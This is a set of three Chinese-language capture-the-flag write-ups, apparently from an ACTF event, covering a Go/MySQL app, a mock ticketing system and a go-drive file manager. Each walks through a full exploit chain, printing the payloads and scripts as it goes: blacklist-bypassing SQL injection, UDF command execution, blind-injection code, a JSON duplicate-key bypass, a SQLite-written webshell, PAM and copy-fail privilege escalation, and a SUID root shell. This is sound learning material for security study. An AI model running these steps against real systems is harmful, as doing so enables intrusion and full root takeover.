GoMySql Writeup
一、Web 层分析
1. 基本信息
逆向 remote_myapp.bin 可以拿到硬编码 DSN:
root:root123456@tcp(localhost:3306)/testdb?parseTime=true&multiStatements=true&allowAllFiles=false路由只有三个:
//calc/draw其中重点在 /calc。
2. /calc 的关键逻辑
/calc 会把用户输入包装成 SQL 表达式:
SELECT %s;同时 DSN 中开启了:
multiStatements=true这意味着,只要能够绕过过滤,就可以通过一条请求执行多条 SQL 语句。
例如理论上可以构造:
1;SHOW DATABASES;最终后端实际执行的效果类似于:
SELECT 1;SHOW DATABASES;3. 黑名单分析
/calc 会先把输入转换成大写,然后进行黑名单检查。
黑名单包括:
INSERTUPDATEOUTFILEDUMPFILEFUNCTIONSCHEMA_FLAGPREPAREDELETEDROPALTERCREATEUNIONSELECT=@@SETINTO看起来限制很多,但仍然留下了几个关键语法:
SHOWUSEDESCTABLE这些关键字都没有被拦截。
尤其是 TABLE 表名 很关键。
在 MySQL 中:
TABLE users;等价于:
SELECT * FROM users;但是输入中不需要出现 SELECT,因此可以绕过黑名单。
所以这题的本质是:
黑名单 SQL 注入 + MySQL 多语句执行绕过。
4. /draw 的情况
/draw 中有一个自定义模板引擎,支持类似下面的语法:
<\ func('arg'); unsafe />其中确实存在 run(cmd) 之类的执行函数,最后会走:
/bin/sh -c <cmd>但是 /draw 对输入做了额外限制,直接构造可用标签并不方便。
实际解题过程中,这条线不是主要利用点,更像是干扰项。
二、通过 SQL 注入拿到命令执行
1. 多语句探测
由于 multiStatements=true,可以先通过如下语句探测数据库结构:
1;SHOW DATABASES;切换数据库:
1;USE testdb;SHOW TABLES;查看表结构:
1;USE testdb;DESC 表名;读取表内容:
1;USE testdb;TABLE 表名;这里的重点是 TABLE 表名,因为它可以在不出现 SELECT 的情况下读取表内容。
2. 利用 UDF 拿命令执行
最终利用方向是 MySQL UDF。
整体思路如下:
- 上传
do_system_udf.so。 - 在 MySQL 中注册 UDF。
- 通过
do_system()执行系统命令。
注册 UDF:
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'do_system_udf.so';之后即可执行命令:
SELECT do_system('id');实际连接目标后确认身份:
uid=100(mysql) gid=101(mysql) groups=101(mysql)也就是说,Web 层 RCE 拿到的是 mysql 用户权限。
三、本地提权分析
1. 目标环境
拿到 shell 后先摸环境。
当前用户:
mysql系统版本:
Debian 12 bookworm内核版本:
Linux 46b81d0535c2 4.18.0-240.el8.x86_64关键 SUID 文件:
/usr/bin/su/usr/bin/mount/usr/bin/passwd/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool其中最特殊的是:
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool这个文件是 SUID root,并且会调用 PAM。
2. auth_pam_tool 分析
逆向 auth_pam_tool 后可以确认几个关键点。
首先,它很早就会执行:
setreuid(0, 0);也就是说,后续逻辑会以 root 权限运行。
其次,它默认使用的 PAM service 名称是:
mysql但是系统中不存在:
/etc/pam.d/mysql因此 PAM 会 fallback 到:
/etc/pam.d/other这就给了一个提权思路:
如果能够覆盖
/etc/pam.d/other,再触发auth_pam_tool,就可以让 PAM 模块以 root 身份执行我们指定的逻辑。
3. 为什么不直接打自定义 service
一开始尝试过构造自定义 service,例如:
/tmp/mysvc../../tmp/mysvc然后把 service 名传给 auth_pam_tool。
但是实际触发时,auth_pam_tool 仍然表现得像是在走普通密码认证,并没有稳定加载我们自定义的 PAM 配置。
因此最后放弃硬怼自定义 service,换成更稳定的方式:
直接覆盖
/etc/pam.d/other。
四、使用 copy-fail 覆盖 PAM 配置
1. 利用方式
目标容器里没有 python3,所以不能直接把 Python 版 PoC 扔上去跑。
最终做法是:
- 本地把
copy-failPoC 改写成 C 版本。 - 编译成静态 ELF。
- 上传到远端
/tmp/copyfail。 - 先对
/tmp/probe做写入行为标定。 - 确认
step=4可以稳定连续覆盖。 - 使用它覆盖
/etc/pam.d/other。
2. 写入的 PAM 配置
最终写入 /etc/pam.d/other 的内容如下:
auth sufficient pam_exec.so seteuid /tmp/pe.shaccount sufficient pam_permit.sopassword sufficient pam_permit.sosession sufficient pam_permit.so第一行是核心:
auth sufficient pam_exec.so seteuid /tmp/pe.sh含义是:
- 认证阶段加载
pam_exec.so - 使用
seteuid保持有效 UID - 执行
/tmp/pe.sh - 如果执行成功,则认证通过
由于触发者是 SUID root 程序,所以 /tmp/pe.sh 会以 root 身份执行。
3. 准备 root 脚本
提前写入 /tmp/pe.sh:
#!/bin/shid >/tmp/pidcp /bin/sh /tmp/rchmod 4755 /tmp/rcat /flag >/tmp/f 2>/tmp/echmod 644 /tmp/pid /tmp/f /tmp/e 2>/dev/nullexit 0这个脚本做了几件事:
- 把当前身份写入
/tmp/pid。 - 复制
/bin/sh到/tmp/r。 - 给
/tmp/r加上 SUID 权限。 - 读取
/flag到/tmp/f。 - 调整输出文件权限,方便后续读取。
五、触发提权
覆盖完 /etc/pam.d/other 后,再次调用:
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool由于默认 service 仍然是:
mysql而系统中不存在:
/etc/pam.d/mysql所以 PAM 会 fallback 到:
/etc/pam.d/other也就是我们刚刚覆盖的配置。
最终触发:
pam_exec.so seteuid /tmp/pe.sh/tmp/pe.sh 以 root 身份执行。
六、提权结果
成功后,远端生成三个关键文件:
/tmp/pid/tmp/r/tmp/f其中:
/tmp/pid记录执行身份,结果为:
uid=0(root) gid=101(mysql)/tmp/r 是 SUID shell。
/tmp/f 是 /flag 的内容。
验证 SUID shell:
/tmp/r -p -c 'id'结果类似:
uid=100(mysql) gid=101(mysql) euid=0(root) groups=101(mysql)说明已经获得 euid=0。
七、最终读取 flag
可以直接读取 /tmp/f:
cat /tmp/f得到:
ACTF{y0u1_sqI_Y0ur_Go!!!!!_dxqmcFIr4ZCpo5OeNqSL}也可以使用 SUID shell 读取:
/tmp/r -p -c 'cat /flag'12307 Writeup
题目概览
题目是一个模拟购票系统,整体利用链比较长,核心流程为:
- 伪造移动端身份。
- 下单进入候补状态。
- 利用后台票价重算接口中的 SQL 注入盲注数据。
- 构造
claim_proof注入权限声明。 - 激活候补席位。
- 利用 JSON 重复键解析差异绕过校验。
- 通过打印驱动读取
/flag。
一、绕过移动端身份验证
首先需要绕过移动端身份验证。
接口:
POST /api/mobile/identity/continue提交 payload:
payload = { "trustLevel": ["mobile", "partner", "settlement"], "continuation": {"fake": True}}这里的关键是触发后端的:
partnerContinuation()通过伪造合作方续期,可以获得一个可用会话。
二、创建候补订单
接下来订一张票。
需要注意:
G7608 次列车的商务座余票为 0因此选择商务座时,订单会进入候补状态。
先获取 waitlist_session:
POST /api/mobile/orders/hold然后创建订单:
POST /api/mobile/orders示例数据:
order_data = { "trainNo": "G7608", "seatClass": "business", "passenger": { # passenger info }}这里选择:
seatClass = business就是为了强制让订单进入候补逻辑。
三、后台票价重算接口 SQL 注入
漏洞接口:
POST /api/desk/fares/reprice问题出在:
fare_scope_expression()该函数接受如下格式:
{ "mode": "legacy-rank", "expr": "..."}其中 expr 会被直接拼接到 ORDER BY 子句中。
因此可以利用排序结果作为布尔判断依据。
四、利用 bucket 字段做布尔盲注
接口返回中存在 bucket 字段,可以用它判断条件真假。
判断规则:
north-window → BJP 排第一 → Truelocal-window → HGH 排第一 → False所以可以构造:
payload = { "mode": "legacy-rank", "expr": "IF(condition, 'BJP', 'HGH')"}如果响应中出现:
north-window说明条件为真。
如果出现:
local-window说明条件为假。
五、盲注提取 claim 数据
需要盲注提取:
claim_saltclaim_digest 前 12 位示例脚本:
def blind_extract(): extracted = ""
for pos in range(1, 13): for ch in charset: payload = { "mode": "legacy-rank", "expr": f"IF(SUBSTRING(claim_digest,{pos},1)='{ch}', 'BJP', 'HGH')" }
resp = requests.post( "http://target/api/desk/fares/reprice", json=payload )
if "north-window" in resp.text: extracted += ch break
return extracted拿到数据后构造:
claim_proof = f"CP-{claim_salt}-{claim_digest[:12]}"这个 claim_proof 后续会用于翻转多个数据库状态,并注入布局权限声明。
六、激活候补席位
使用新的 waitlist_session 激活订单:
POST /api/mobile/waitlist/pulse数据:
pulse_data = { "orderId": order_id, "state": "boarding"}然后建立 WebSocket 连接获取频道:
ws = websocket.connect( "ws://target/api/connect/boarding?stationCode=HGH")七、JSON 重复键解析差异
关键漏洞在:
verify_carrier_seal()这个函数会对同一个 JSON 解析两次。
第一次:
public_view使用“第一个键获胜”的逻辑,类似 Python 的 object_pairs_hook。
第二次:
render_view使用正常 JSON 解析逻辑,也就是“最后一个重复键获胜”。
因此可以构造重复键:
{ "printProfile": "counter-copy", "printer": "thermal-standard", "printProfile": "clearing-batch", "printer": "line-printer", "driverProgram": "/usr/bin/base64", "driverArgument": "/flag"}第一次解析看到的是:
{ "printProfile": "counter-copy", "printer": "thermal-standard"}可以通过校验。
第二次真正使用时看到的是:
{ "printProfile": "clearing-batch", "printer": "line-printer", "driverProgram": "/usr/bin/base64", "driverArgument": "/flag"}从而控制打印驱动读取 /flag。
八、构造恶意 carrierSeal
接口:
POST /api/corporate/receipts/prepare恶意 payload:
malicious_payload = { "carrierSeal": { "payload": json.dumps({ "printProfile": "counter-copy", "printer": "thermal-standard",
"printProfile": "clearing-batch", "printer": "line-printer", "driverProgram": "/usr/bin/base64", "driverArgument": "/flag" }) }}这里利用重复键,使得校验视图和渲染视图不一致。
九、触发打印并读取结果
创建清算批次:
POST /api/corporate/reconciliation数据:
reconcile_data = { "type": "carrier-closeout", "template": "{{reconciliation.receipt}}"}调度结算:
POST /api/corporate/settlement/schedule最后轮询结果:
GET /api/corporate/reconciliation/{batch_id}返回内容中即可拿到 /flag 的 base64 结果,解码即可。
Real dlsite Writeup
题目概览
题目是一个类网盘 / 文件管理系统,主要包含两个部分:
- 先通过
/manage后台和 SQLite 写文件拿到 PHP RCE。 - 再利用 go-drive 配置和 task runner panic,切到
app用户命令执行。 - 最后利用 CVE-2026-31431
copy-failpatch/usr/bin/su。 - 通过 cron 绕过
NoNewPrivs,最终读取 root flag。
一、进入 /manage 后台
/manage 提交空密码对应的 hash 后,可以成功登录后台。
登录后可以任意执行 SQL 语句。
由于目标使用的是 SQLite,并且 SQLite 版本支持:
VACUUM INTO '/path/to/file';因此可以通过 SQLite 写文件。
这一步可以落地一个 WebShell,例如写入 ws.php。
二、用 ws.php 拿到 PHP RCE
通过 SQLite 写入 ws.php 后,可以获得 PHP 层面的命令执行。
但是 PHP RCE 受到多重限制:
open_basedirdisable_functionsNoNewPrivs所以直接使用 PHP RCE 的能力非常有限。
接下来需要转向利用 go-drive 本身,拿到更稳定的 app 用户命令执行。
三、利用 go-drive 配置拿 app 用户 RCE
1. 登录 /new 后台
使用默认账号登录:
admin / 1234562. 新建两个 fs drive
创建两个 fs 类型 drive:
appx -> ../../../../apptmpx -> ../../../../tmp作用分别是:
appx:用于访问和覆盖/app目录。tmpx:用于访问/tmp目录。
3. 覆盖 /app/config.yml
修改 /app/config.yml,在 thumbnail.handlers 中插入一个新的 shell handler,只匹配 .cmd 文件。
核心配置如下:
type: shelltags:file-types: cmdconfig: shell: sh /tmp/cmd.sh mime-type: text/plain write-content: false max-size: -1 timeout: 30s这段配置的作用是:
当访问 .cmd 文件缩略图时,go-drive 会调用:
sh /tmp/cmd.sh从而获得 app 用户命令执行。
4. 触发 go-drive 重启使配置生效
配置写入后不会立即生效,需要让 go-drive 重启。
做法是:
- 写一个恶意
script drive。 - 让它的
save()返回null。 - 对这个 drive 发起一次写操作。
- 触发 go-drive task runner panic。
- supervisor 自动重启 go-drive。
- 新配置生效。
5. 触发 app 用户命令执行
配置生效后,只需要访问:
/new/thumbnail/tmpx/xxx.cmd?_k=...就会触发 thumbnail handler。
最终执行:
sh /tmp/cmd.sh此时获得稳定的 app 用户命令执行。
四、评估本地提权路线
拿到 app 用户 shell 后,先确认环境。
当前身份:
uid=1000(app)关键限制:
NoNewPrivs=1也就是说,当前 webshell 进程中直接执行 SUID 程序不会获得提权效果。
继续检查发现:
StorageBox 的 SUID 在当前 shell 下失效/usr/bin/su 存在,权限为 4755同时验证 AF_ALG 可用:
socket(AF_ALG, SOCK_SEQPACKET, 0)bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))这两步都成功,说明目标环境是 CVE-2026-31431 copy-fail 的可利用候选。
五、使用 CVE-2026-31431 patch /usr/bin/su
这里使用公开 PoC 的思路。
Theori 的 PoC 本质上是:
通过 copy-fail 把目标 SUID ELF 覆盖成一个极小 launcher。
原版 launcher 最后会执行:
/bin/sh这里将内置字符串改成:
/tmp/x然后用 copy-fail 写入:
/usr/bin/su这样 /usr/bin/su 就被替换成了一个 SUID root launcher。
当它被执行时,会以 root 权限执行:
/tmp/x六、为什么不能直接执行 patched su
虽然 /usr/bin/su 已经被 patch 成 launcher,但在当前 app webshell 中直接执行它没有效果。
原因是当前进程存在:
NoNewPrivs=1这个标志会导致子进程无法通过 SUID 获得新的权限。
也就是说:
/usr/bin/su在当前 shell 里执行,不会真正提权。
所以需要找一个不继承当前 NoNewPrivs 的执行入口。
七、利用 app 用户 cron 绕过 NoNewPrivs
关键观察:
crontab 命令存在app 用户可以安装自己的 crontabcron 拉起的进程不会继承当前 webshell 的 NoNewPrivs=1因此可以通过 cron 触发 patched /usr/bin/su。
1. 准备 root 执行脚本 /tmp/x
/tmp/x 中写入要以 root 执行的命令。
例如:
#!/bin/shid > /tmp/proofrootcat /root/0-0/flag > /tmp/flagrootchmod 0644 /tmp/flagrootexit 02. 安装 app 用户 cron
准备 cron 内容:
cat /tmp/sucmds | /usr/bin/su由于此时 /usr/bin/su 已经被 patch 成 SUID root launcher,cron 到点执行时流程如下:
- cron 以
app用户身份执行任务。 - 执行
/usr/bin/su。 /usr/bin/su是 SUID root。- launcher 以 root 身份执行
/tmp/x。 /tmp/x读取 root flag 并写入/tmp/flagroot。
八、提权结果
实际观察到:
/tmp/proofroot owner 变成 0/tmp/flagroot owner 变成 0说明 /tmp/x 已经以 root 身份执行成功。
读取:
cat /tmp/proofroot可以看到 root 身份。
读取:
cat /tmp/flagroot即可获得最终 flag。
九、总结
这题的完整利用链可以分成三段。
第一段:从后台到 PHP RCE
- 通过
/manage空密码 hash 登录后台。 - 利用 SQLite
VACUUM INTO写入ws.php。 - 访问
ws.php,获得 PHP RCE。
第二段:从 PHP RCE 到 app 用户 RCE
- 登录
/new后台。 - 新建
appx和tmpx两个fsdrive。 - 覆盖
/app/config.yml,在thumbnail.handlers中加入 shell handler。 - 构造恶意
script drive,让save()返回null。 - 触发一次写操作,使 go-drive task runner panic。
- supervisor 自动重启 go-drive,新配置生效。
- 访问
.cmd文件缩略图,触发sh /tmp/cmd.sh,获得 app 用户 RCE。
第三段:从 app 用户到 root flag
- 使用 CVE-2026-31431
copy-failpatch/usr/bin/su。 - 将
/usr/bin/su替换成 SUID root launcher。 - 由于当前 webshell 存在
NoNewPrivs=1,不能直接执行 patchedsu。 - 安装 app 用户 cron,让 cron 执行 patched
/usr/bin/su。 - cron 拉起的进程不继承当前 webshell 的
NoNewPrivs限制。 - patched
/usr/bin/su以 root 权限执行/tmp/x。 /tmp/x读取 root flag,并写入/tmp/flagroot。- 最后读取
/tmp/flagroot,获得最终 flag。
核心点有三个:
- SQLite
VACUUM INTO写文件。 - go-drive thumbnail handler 配置劫持。
- CVE-2026-31431 + cron 绕过
NoNewPrivs。
部分信息可能已经过时





